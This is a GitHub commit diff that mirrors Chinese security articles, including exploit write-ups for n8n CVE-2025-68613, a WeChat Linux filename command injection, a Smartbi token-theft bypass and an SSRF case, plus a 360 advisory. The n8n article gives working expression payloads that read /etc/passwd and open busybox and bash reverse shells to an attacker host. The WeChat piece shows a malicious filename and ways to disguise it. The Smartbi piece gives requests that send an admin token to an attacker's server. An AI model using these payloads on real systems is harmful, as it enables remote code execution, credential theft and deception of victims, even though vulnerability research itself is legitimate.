mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
【SRC实战】SSRF漏洞挖掘实战、【神器合集】漏洞挖掘效率狂飙！15款BurpSuite必装插件+工具链，告别无效扫扫扫！、短信验证码高危漏洞案例，不容错过！、某安全厂商DLL侧载漏洞、Wechat for Linux 最新RCE漏洞成功复现、0128.CVE-2025-68613 — n8n 工作流自动化平台中的已认证远程代码执行 (RCE) 漏洞、微信 linux最新版 1click RCE 已复现、【已复现】微信 Linux 版 1-Click 命令注入漏洞、【已复现】微信linux最新版RCE、smartbi token回调获取登录凭证漏洞、【靶场限免】【WeCh*t同款】文件上传导致的RCE、
This commit is contained in:
test committed
1 parent
772010d57b
commit
83cc05db90
12 files changed
+1141
-1
No files matched your search
@@ -21210,5 +21210,16 @@
|
||||
"https://mp.weixin.qq.com/s/gB0xw_DrfNOI9jf-CgIx7A": "登录框漏洞checklist（一）",
|
||||
"https://mp.weixin.qq.com/s/tuoxUVBGzoCOQVJcLkuhiA": "好靶场存在逻辑漏洞-导致评论区消失且用户无法评论",
|
||||
"https://mp.weixin.qq.com/s/pQ_H9-Qbyl4eYosYgt8ygw": "登录框漏洞checklist（二）",
|
||||
"https://mp.weixin.qq.com/s/yTPehTfk1ufv3RXq6gh1mA": "我用 Claude Code 造了一个代码审计 Skill，它在 20 万行项目中找到了 63 个漏洞"
|
||||
"https://mp.weixin.qq.com/s/yTPehTfk1ufv3RXq6gh1mA": "我用 Claude Code 造了一个代码审计 Skill，它在 20 万行项目中找到了 63 个漏洞",
|
||||
"https://mp.weixin.qq.com/s/8w-sh6WbCYVyeePnLq_Mng": "【SRC实战】SSRF漏洞挖掘实战",
|
||||
"https://mp.weixin.qq.com/s/RbAP7-w9hbVcWGgGLzqCRg": "【神器合集】漏洞挖掘效率狂飙！15款BurpSuite必装插件+工具链，告别无效扫扫扫！",
|
||||
"https://mp.weixin.qq.com/s/0x0JVrzHPLQgusWrZACx4w": "短信验证码高危漏洞案例，不容错过！",
|
||||
"https://mp.weixin.qq.com/s/637OW107MRrxMXAJ43RLNg": "某安全厂商DLL侧载漏洞",
|
||||
"https://mp.weixin.qq.com/s/aJbx0LDLyVkg6K3Hyhllsg": "Wechat for Linux 最新RCE漏洞成功复现",
|
||||
"https://mp.weixin.qq.com/s/jeGUP4XOg6ROx_tnGz9Ikg": "0128.CVE-2025-68613 — n8n 工作流自动化平台中的已认证远程代码执行 (RCE) 漏洞",
|
||||
"https://mp.weixin.qq.com/s/frG_iQeMOZsBeqalAwlN8A": "微信 linux最新版 1click RCE 已复现",
|
||||
"https://mp.weixin.qq.com/s/HcHuxvYb1sZjFNJNAfyLtA": "【已复现】微信 Linux 版 1-Click 命令注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/e1g_KQBU5iOFgRbyg1C94w": "【已复现】微信linux最新版RCE",
|
||||
"https://mp.weixin.qq.com/s/CFVx_yQjr4x4oWzR_DLdmQ": "smartbi token回调获取登录凭证漏洞",
|
||||
"https://mp.weixin.qq.com/s/e-6rnzIMkEGA5wB8VmW_vw": "【靶场限免】【WeCh*t同款】文件上传导致的RCE"
|
||||
}
|
||||
@@ -0,0 +1,189 @@
|
||||
# 0128.CVE-2025-68613 — n8n 工作流自动化平台中的已认证远程代码执行 (RCE) 漏洞
|
||||
原创 Bash Overflow
|
||||
Bash Overflow Rsec 2026-02-10 08:59
|
||||
|
||||
本文章仅用网络安全研究学习，请勿使用相关技术进行违法犯罪活动。
|
||||
|
||||
声明：本文搬运自互联网，如你是原作者，请联系我们！
|
||||
|
||||
类型：
|
||||
CVE-2025-68613
|
||||
|
||||
|
||||
|
||||
|
||||
CVE-2025-68613 — n8n 工作流自动化平台中的已认证远程代码执行 (RCE) 漏洞
|
||||
|
||||
|
||||
介绍
|
||||
|
||||
n8n 是一个开源的工作流自动化平台，旨在通过可配置的工作流连接应用程序、服务和 API。
|
||||
|
||||
|
||||
它允许用户通过将操作串联起来来自动执行重复性任务，例如触发事件、处理数据、调用外部 API 或执行系统级操作。
|
||||
|
||||
|
||||
由于其灵活性，n8n 通常部署在处理敏感数据、内部集成和运营自动化的环境中。
|
||||
|
||||
|
||||
企业使用 n8n 来简化 DevOps、市场营销、数据管道和内部工具等各个环节的流程。其基于节点的设计使其既方便非开发人员使用，又足以满足高级用户的功能需求。
|
||||
|
||||
|
||||
漏洞概述
|
||||
|
||||
CVE-2025-68613 漏洞源于 n8n 内部对工作流执行能力的限制不足。当拥有有效身份验证的用户滥用此漏洞时，他们可以在服务器上执行远程代码。
|
||||
|
||||
|
||||
n8n 假设经过身份验证的用户可以安全地定义或执行工作流，即使某些工作流操作会直接与主机操作系统交互。但在共享或企业级部署中，这一假设不再成立，因为经过身份验证的访问权限并不一定意味着对系统的完全信任。
|
||||
|
||||
|
||||
攻击者的目标是利用合法的工作流程功能来执行任意命令，从而有效地逃脱预期的自动化范围并获得对环境的控制权。
|
||||
|
||||
|
||||
概念验证（PoC）
|
||||
### 重现步骤
|
||||
|
||||
**1. 部署一个存在漏洞的 n8n 实例**
|
||||
- 拉取受影响的 n8n Docker 镜像（版本 **1.121.0**
|
||||
）：
|
||||
|
||||
```
|
||||
docker pull n8nio/n8n:1.121.0
|
||||
```
|
||||
- 启动容器并暴露本地 Web 界面：
|
||||
|
||||
```
|
||||
docker run --rm -e "N8N_SECURE_COOKIE=false" -d -p 5678:5678 n8nio/n8n:1.121.0
|
||||
```
|
||||
|
||||
|
||||
|
||||
**2. 访问 Web 界面并初始化 n8n**
|
||||
- 在浏览器中打开 n8n 网页用户界面：
|
||||
|
||||
```
|
||||
```
|
||||
```
|
||||
http://<your-n8n-webui-ipaddress>:5678/
|
||||
```
|
||||
|
||||
完成初始账户设置流程。
|
||||
|
||||
- 按照环境自定义步骤进行操作。
|
||||
|
||||
- 当出现 **“免费获取付费功能”**
|
||||
的提示时，选择 **“跳过**
|
||||
”继续。
|
||||
|
||||
****
|
||||
**3. 创建新工作流程**
|
||||
- 点击 **[+]**
|
||||
按钮并选择**工作流程**
|
||||
。
|
||||
|
||||
|
||||
- 选择 **“添加”作为第一步**
|
||||
。
|
||||
|
||||
- 搜索关键词“ **Set”**
|
||||
。
|
||||
|
||||
- 选择 **“编辑字段（设置）”**
|
||||
来配置新节点。
|
||||
|
||||
**4. 配置注入点**
|
||||
- 单击“集合”节点内的 **“添加字段”**
|
||||
。
|
||||
|
||||
- 将输入模式从**固定模式**
|
||||
切换到**表达式模式**
|
||||
。
|
||||
|
||||
|
||||
|
||||
- 插入一个用于执行命令的基本测试有效载荷（例如，读取环境变量）。
|
||||
|
||||
**5. 使用 Burp Suite 拦截请求**
|
||||
- 触发工作流执行。
|
||||
|
||||
- 在 HTTP 历史记录中查找相关的 HTTP 请求。
|
||||
|
||||
- 向中继器发送两个请求：
|
||||
|
||||
```
|
||||
1. One POST request (workflow execution trigger)
|
||||
2. One GET request (execution result retrieval)
|
||||
```
|
||||
|
||||
|
||||
- 为了更清晰地表达，请重命名 Repeater 中的请求（POST 和 GET）。
|
||||
|
||||
**6. 识别并利用注入点**
|
||||
- 修改 POST 请求中的表达式有效负载。
|
||||
|
||||
- 注入一个命令来读取系统级信息（例如， whoami
|
||||
和 /etc/passwd
|
||||
）。
|
||||
|
||||
```
|
||||
{{ (function(){var req = this.process.mainModule.require;var execSync = req('child_process').execSync;return execSync('whoami; cat /etc/passwd').toString();})() }
|
||||
```
|
||||
- 发送修改后的 POST 请求。
|
||||
|
||||
- 请注意服务器响应中返回的 executionId
|
||||
。
|
||||
|
||||
**7. 通过执行 ID 触发命令执行**
|
||||
- 切换到 Repeater 中的 GET 请求。
|
||||
|
||||
- 将执行 ID 参数替换为之前返回的值（ID：10）。
|
||||
|
||||
- 发送请求以获取执行结果。
|
||||
|
||||
**8. 建立反向 Shell（Docker/Alpine 环境）**
|
||||
- 在攻击机上启动监听器：
|
||||
|
||||
```
|
||||
```
|
||||
```
|
||||
nc -lvnp 31337
|
||||
```
|
||||
|
||||
|
||||
- 由于 n8n Docker 镜像使用 Alpine Linux，因此需要利用 **busybox**
|
||||
来获取反向 shell：
|
||||
|
||||
```
|
||||
{{ (function(){var req = this.process.mainModule.require;var exec = req('child_process').exec; return exec('busybox nc <attacker_ip> <attacker_port> -e /bin/sh');})()}}
|
||||
```
|
||||
- 发送修改后的 POST 请求。
|
||||
|
||||
**9. 非 Docker 系统的替代有效载荷**
|
||||
- 如果目标系统没有运行在 Docker 或 Alpine 容器中，请尝试使用标准的 bash 反向 shell：
|
||||
|
||||
```
|
||||
/bin/bash -i >& /dev/tcp/<attacker-ip>/<attacker-port> 0>&1
|
||||
```
|
||||
|
||||
**10. 利用**
|
||||
- 连接成功后，确认 shell 访问权限。
|
||||
|
||||
- 列举 n8n 服务可用的环境、文件、凭据和网络访问权限。
|
||||
|
||||
> CVE-2025-49144：Notepad++ v8.8.1 安装程序中的权限提升漏洞以及使用 SYSTEM 权限的远程代码执行漏洞
|
||||
|
||||
> https://osintteam.blog/cve-2025-49144-privilege-escalation-in-notepad-v8-8-1-installer-and-rce-with-system-privileges-c018d79a5f1d
|
||||
|
||||
##
|
||||
## 影响
|
||||
- 该漏洞允许已登录的 n8n 用户创建或修改工作流程，从而在服务器上执行任意命令。
|
||||
|
||||
- 命令在 n8n 运行时环境中执行，这意味着攻击者可以访问 n8n 服务可用的文件、环境变量和密钥。此外，攻击者还可以获取 API 密钥、数据库凭据和内部服务配置等信息。
|
||||
|
||||
|
||||
参考
|
||||
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-68613
|
||||
|
||||
- https://orca.security/resources/blog/cve-2025-68613-n8n-rce-vulnerability/
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
# Wechat for Linux 最新RCE漏洞成功复现
|
||||
原创 flower
|
||||
flower flower安全 2026-02-10 07:48
|
||||
|
||||
**0****1**
|
||||
|
||||
漏洞简介
|
||||
|
||||
|
||||
Cybersecurity
|
||||
|
||||
漏洞类型：RCE漏洞
|
||||
|
||||
漏洞危害：高危
|
||||
|
||||
影响版本：WeChat For Linux
|
||||
|
||||
漏洞描述：可直接执行任意指令从而控制目标服务器
|
||||
|
||||
复现情况：成功复现
|
||||
|
||||
触发机制：未知
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
漏洞复现
|
||||
|
||||
|
||||
Cybersecurity
|
||||
|
||||
（1）环境准备：
|
||||
|
||||
下载WeChat For Linux：
|
||||
|
||||
|
||||
|
||||
|
||||
安装字体：
|
||||
```
|
||||
sudo apt-get install fonts-noto-cjk
|
||||
```
|
||||
|
||||
|
||||
执行命令：
|
||||
```
|
||||
sudo dpkg -i WeChatLinux_x86_64.deb
|
||||
```
|
||||
|
||||
（2）漏洞复现：
|
||||
|
||||
制作PDF文件：
|
||||
|
||||
|
||||
|
||||
另存为PDF文件，并
|
||||
按以下命名规则命名PDF文件（可在实际命令前添加混淆文字实现对用户的欺骗）：
|
||||
```
|
||||
`id`.pdf ##在``写入需要执行的命令也可为 某某科室工作汇报文件``.pdf
|
||||
```
|
||||
|
||||
使用
|
||||
WeChat For Linux
|
||||
运行Pdf文件：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
成功复现！
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
# smartbi token回调获取登录凭证漏洞
|
||||
蚁景网安 2026-02-10 08:30
|
||||
|
||||
前段时间，Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞，获取管理员token，完全接管管理员权限。于是研究了下相关补丁并进行分析。
|
||||
## 0x01分析结果
|
||||
|
||||
依据补丁分析，得到如下漏洞复现步骤
|
||||
### 第一步，设置EngineAddress为攻击者机器上的http服务地址
|
||||
|
||||
首先使用python flask搭建一个fake server，上面只注册了/api/v1/configs/engine/smartbitoken接口，该接口返回一个json响应体
|
||||
```
|
||||
from flask import Flask,jsonify,requestapp = Flask(__name__)@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])def hello(): print(request.json) return jsonify(hi="jello")if __name__ == "__main__": app.run(host="0.0.0.0",port=8000)
|
||||
```
|
||||
|
||||
|
||||
|
||||
使用如下poc，设置EngineAddress为我们的fake server地址http://10.52.32.43:8000，
|
||||
```
|
||||
POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1Host: 127.0.0.1:18080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 23http://10.52.32.43:8000
|
||||
```
|
||||
|
||||
|
||||
### 第二步，触发smartbi向我们刚刚设置的EngineAddress外发token
|
||||
|
||||
发送如下请求
|
||||
```
|
||||
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1Host: 127.0.0.1:18080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 10experiment
|
||||
```
|
||||
|
||||
|
||||
|
||||
发送相关请求后，即可在我们的fake server上面看到了携带token的请求
|
||||
|
||||
|
||||
### 第三步，使用上面获取的token进行登录
|
||||
```
|
||||
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1Host: 127.0.0.1:18080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082
|
||||
```
|
||||
|
||||
返回true表示登录成功，其中的cookie就是合法的凭证
|
||||
|
||||
|
||||
## 0x02分析过程
|
||||
|
||||
阅读相关补丁，可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
|
||||
|
||||
|
||||
|
||||
|
||||
更进一步查看RejectSmartbixSetAddress类修补的方式，可知与smartbix.datamining.service.MonitorService类的getToken方法有关，该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
|
||||
|
||||
|
||||
|
||||
分析smartbix.datamining.service.MonitorService类 从头部的注解可知，该类下的所有路由都不需要认证即可访问
|
||||
|
||||
|
||||
|
||||
定位到getToken方法 该方法对应的路由的/token,方法内部生成一个token，并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这意味着，只要ENGINE_ADDRESS可控，那么我们就能获取到一个合法的token由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法 可知该方法可以未授权配置ENGINE_ADDRESS
|
||||
|
||||
|
||||
|
||||
那意味着，只需要调用/smartbix/api/monitor/setServiceAddress接口，将ENGINE_ADDRESS设置为我们可控的伪造服务器，那么就可以从请求报文中获取到token。（这个位置经过尝试，发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口，并且，响应内容为json) 获取完token后，就可调用/smartbix/api/monitor/login方法进行登录
|
||||
|
||||
|
||||
## 0x03其他说明
|
||||
|
||||
上述只说明了设置ENGINE_ADDRESS利用的情况，设置SERVICE_ADDRESS进行利用的步骤也和上述类似
|
||||
|
||||
|
||||
|
||||
学
|
||||
习
|
||||
网安实战课程
|
||||
，戳
|
||||
“阅读原文”
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
# 【SRC实战】SSRF漏洞挖掘实战
|
||||
原创 渗透测试安全日记
|
||||
渗透测试安全日记 渗透测试安全日记 2026-01-19 23:07
|
||||
|
||||
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息、工具等资源而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任!
|
||||
|
||||
01 背景
|
||||
|
||||
开展日常SRC的测试，在完成信息收集后，针对某站点进行深度挖掘，通过findsomething翻到一个预览接口。并通过此接口挖到ssrf漏洞。
|
||||
|
||||
接下来请看实战。
|
||||
|
||||
02 实战
|
||||
|
||||
开局一个登录框。
|
||||
|
||||
|
||||
|
||||
通过findsomething收集到一个带url参数的接口。路径为GetRawFile?url=xxxxxx。
|
||||
|
||||
直接挂上burp代理,抓包。
|
||||
|
||||
并将url的参数设置为http://www.baidu.com。
|
||||
|
||||
如下图。可以看到返回了百度的页面内容。ssrf漏洞到手。
|
||||
|
||||
|
||||
|
||||
进一步探测下内网，将url的参数设置为http://127.0.0.1:80，成功返回80端口上的页面代码。
|
||||
|
||||
|
||||
|
||||
至此，本次的实战案例结束，点到即止。
|
||||
|
||||
03 总结
|
||||
|
||||
漏洞挖掘思路比较简单，重点关注下url、file等参数的路径。
|
||||
|
||||
在无账号的情况下。可以通过F12控制台搜索的方式去找此类接口；或者通过findsomething此类前端页面信息收集的工具去收集，推荐使用这个方法，效率比较高。
|
||||
|
||||
往期好文
|
||||
|
||||
[网络安全人员的金牌证书：为你铺就高薪职业之路](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247484847&idx=1&sn=62fefecfbed336486f417e60bdf5fdd2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【SRC实战】简单FUZZ拿下高危漏洞](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247485405&idx=1&sn=669a4286abd1103b050059efdb3da268&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【SRC实战】记一次越权测试实战](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247485379&idx=1&sn=37985dd7e56a66b2d023548eabd845ea&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[免密登录某后台管理系统实战](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247485024&idx=1&sn=71c596dd36800993e18f1f05b9d37547&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[安服人应急“薅洞”指南](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247485381&idx=1&sn=d0195d62adf45f6d614c785886d04e92&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[推荐一款资产筛选工具](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247484744&idx=1&sn=7d205189f4a95c2a0cce1b6e99014c64&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【SRC实战】短信验证码爆破，拿下某众测中危](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247484618&idx=1&sn=9ef1826481eaace69ebef6849995bcfa&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【SRC实战】一次“链式”渗透，从站点A打到站点B](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247484164&idx=1&sn=9c2db3fc19000f60785499f2c4ad1f6f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[用户账号接管实战，洞穿开发者逻辑](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247483991&idx=1&sn=c1f6e65233cf18ade53b6e566fa4b3af&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[WordPress常见漏洞总结](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247484505&idx=1&sn=03bf8b220f763ec99ed14e55bbd14cdc&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[解锁Wabpack的JS异步加载通杀技巧(附工具),看了不白看](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247483699&idx=1&sn=70c7fab6e3ca68a9128f85070203918a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[SSRF漏洞常见功能，涵实战案例](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247483727&idx=1&sn=6cc25a5803d99cdbaf71ea9012931030&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[50个网络安全必备术语|从入门到精通](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247484997&idx=1&sn=bbbd43c78dff1ab0e3b8583cf61814b6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【SRC实战】某大厂地图服务系统任意用户注册](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247483837&idx=1&sn=47670b4c637eda9dd6c021e9eb0b36fc&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[2025年11月全球十大网络安全事件](https://mp.weixin.qq.com/s?__biz=MzYyMTgwMTYwOQ==&mid=2247485102&idx=1&sn=2bcafb3081506ad8ca45f4f89f04df8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# 【已复现】微信 Linux 版 1-Click 命令注入漏洞
|
||||
原创 360漏洞研究院
|
||||
360漏洞研究院 360漏洞研究院 2026-02-10 08:29
|
||||
|
||||
“扫描下方二维码，进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与！”
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr style="box-sizing: border-box;"><td colspan="4" data-colwidth="100.0000%" width="100.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;background-color: rgb(100, 130, 228);box-sizing: border-box;padding: 0px;"><section style="text-align: center;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞概述</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞名称</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">微信 Linux 版 1-Click 命令注入漏洞</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞编号</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">LDYVUL-2026-00022304</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">公开时间</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">2026-02-10</span></span></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">POC状态</span></span></strong></p></section></td><td data-colwidth="20.0000%" width="20.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;color: rgb(100, 130, 228);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">已公开</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞类型</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">命令注入</span></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-coLine truncated
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
影响组件
|
||||
|
||||
|
||||
|
||||
微信 Linux 版是腾讯官方维护的桌面客户端，基于 Electron 框架开发。该客户端运行于主流 Linux 发行版，提供聊天、文件收发等核心功能。
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
|
||||
近日，安全研究员发现微信 Linux 版存在 1-Click 命令注入漏洞。由于程序在处理接收文件时，未对文件名中的特殊字符进行充分校验与过滤，攻击者可构造包含恶意命令的文件名并发送给目标用户。当受害者点击该文件后，程序在后续处理过程中触发命令注入，从而在受害者系统中执行任意命令。
|
||||
|
||||
|
||||
**鉴于该漏洞相关信息已在互联网上公开传播，为提醒用户及时防范并降低安全风险，特发布本安全风险通告。**
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**漏洞复现******
|
||||
|
||||
|
||||
|
||||
360 漏洞研究院已成功复现微信 Linux 版 1-Click 命令注入漏洞。攻击者向目标用户发送文件名中包含特殊字符构造的恶意指令文件，当受害者点击该文件时，程序在处理文件名过程中触发命令注入，执行攻击者构造的系统命令。
|
||||
|
||||
|
||||
|
||||
微信 Linux 版 1-Click 命令注入漏洞复现
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**漏洞影响范围******
|
||||
|
||||
|
||||
|
||||
受影响软件版本：
|
||||
|
||||
微信 Linux 版 <= 4.1.0.13
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**修复建议******
|
||||
|
||||
|
||||
|
||||
**临时防护方案：**
|
||||
|
||||
目前官方尚未发布微信 Linux 版的修复版本。建议用户在修复版本发布前采取以下临时防护措施：
|
||||
- 避免点击或打开文件名中包含异常特殊字符或可疑内容的文件，尤其是来源不明的文件。
|
||||
|
||||
- 临时使用微信网页版（https://web.wechat.com/）进行必要的沟通与文件处理，以降低本地客户端被利用的风险。
|
||||
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
**时间线**
|
||||
|
||||
|
||||
|
||||
2026年2月10日，360漏洞研究院发布本安全风险通告。
|
||||
|
||||
|
||||
**07**
|
||||
|
||||
参考链接
|
||||
|
||||
|
||||
|
||||
https://linux.weixin.qq.com/
|
||||
|
||||
|
||||
08
|
||||
|
||||
更多漏洞情报
|
||||
|
||||
|
||||
|
||||
建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。
|
||||
|
||||
|
||||
邮箱：360VRI@360.cn
|
||||
|
||||
网址：https://vi.loudongyun.360.net
|
||||
|
||||
|
||||
|
||||
“洞”悉网络威胁，守护数字安全
|
||||
|
||||
|
||||
**关于我们**
|
||||
|
||||
|
||||
360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。
|
||||
|
||||
|
||||
